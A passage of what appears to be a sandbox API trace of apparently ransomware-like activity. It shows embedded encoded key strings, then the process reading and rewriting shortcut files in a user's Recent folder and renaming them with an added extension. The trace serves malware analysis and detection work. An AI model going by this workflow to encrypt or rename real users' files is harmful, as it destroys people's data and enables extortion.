lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.488] GetCurrentThreadId () returned 0xab4 [0147.488] GetCurrentThreadId () returned 0xab4 [0147.488] GetCurrentThreadId () returned 0xab4 [0147.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.489] GetCurrentThreadId () returned 0xab4 [0147.489] GetCurrentThreadId () returned 0xab4 [0147.489] GetCurrentThreadId () returned 0xab4 [0147.489] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c IXUe-mvNtEdk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\c ixue-mvntedk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.489] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.489] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.489] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x489 [0147.489] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.489] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x489, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x489, lpOverlapped=0x0) returned 1 [0147.490] CloseHandle (hObject=0x280) returned 1 [0147.490] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c IXUe-mvNtEdk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\c ixue-mvntedk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.491] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x489, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x489, lpOverlapped=0x0) returned 1 [0147.492] CloseHandle (hObject=0x280) returned 1 [0147.493] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c IXUe-mvNtEdk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\c ixue-mvntedk.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c IXUe-mvNtEdk.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\c ixue-mvntedk.lnk.mz173801")) returned 1 [0147.493] GetCurrentThreadId () returned 0xab4 [0147.493] GetCurrentThreadId () returned 0xab4 [0147.493] GetCurrentThreadId () returned 0xab4 [0147.493] GetCurrentThreadId () returned 0xab4 [0147.493] GetCurrentThreadId () returned 0xab4 [0147.493] GetCurrentThreadId () returned 0xab4 [0147.493] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd3d5fd, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x3fd3d5fd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x3fd3d5fd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x434, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="cEUdy Q8gkA4LqZQF.lnk", cAlternateFileName="CEUDYQ~1.LNK")) returned 1 [0147.493] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.493] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.493] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cEUdy Q8gkA4LqZQF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ceudy q8gka4lqzqf.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd3d5fd, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x3fd3d5fd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x3fd3d5fd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x434)) returned 1 [0147.493] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cEUdy Q8gkA4LqZQF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ceudy q8gka4lqzqf.lnk")) returned 0x20 [0147.494] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cEUdy Q8gkA4LqZQF.lnk", dwFileAttributes=0x80) returned 1 [0147.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 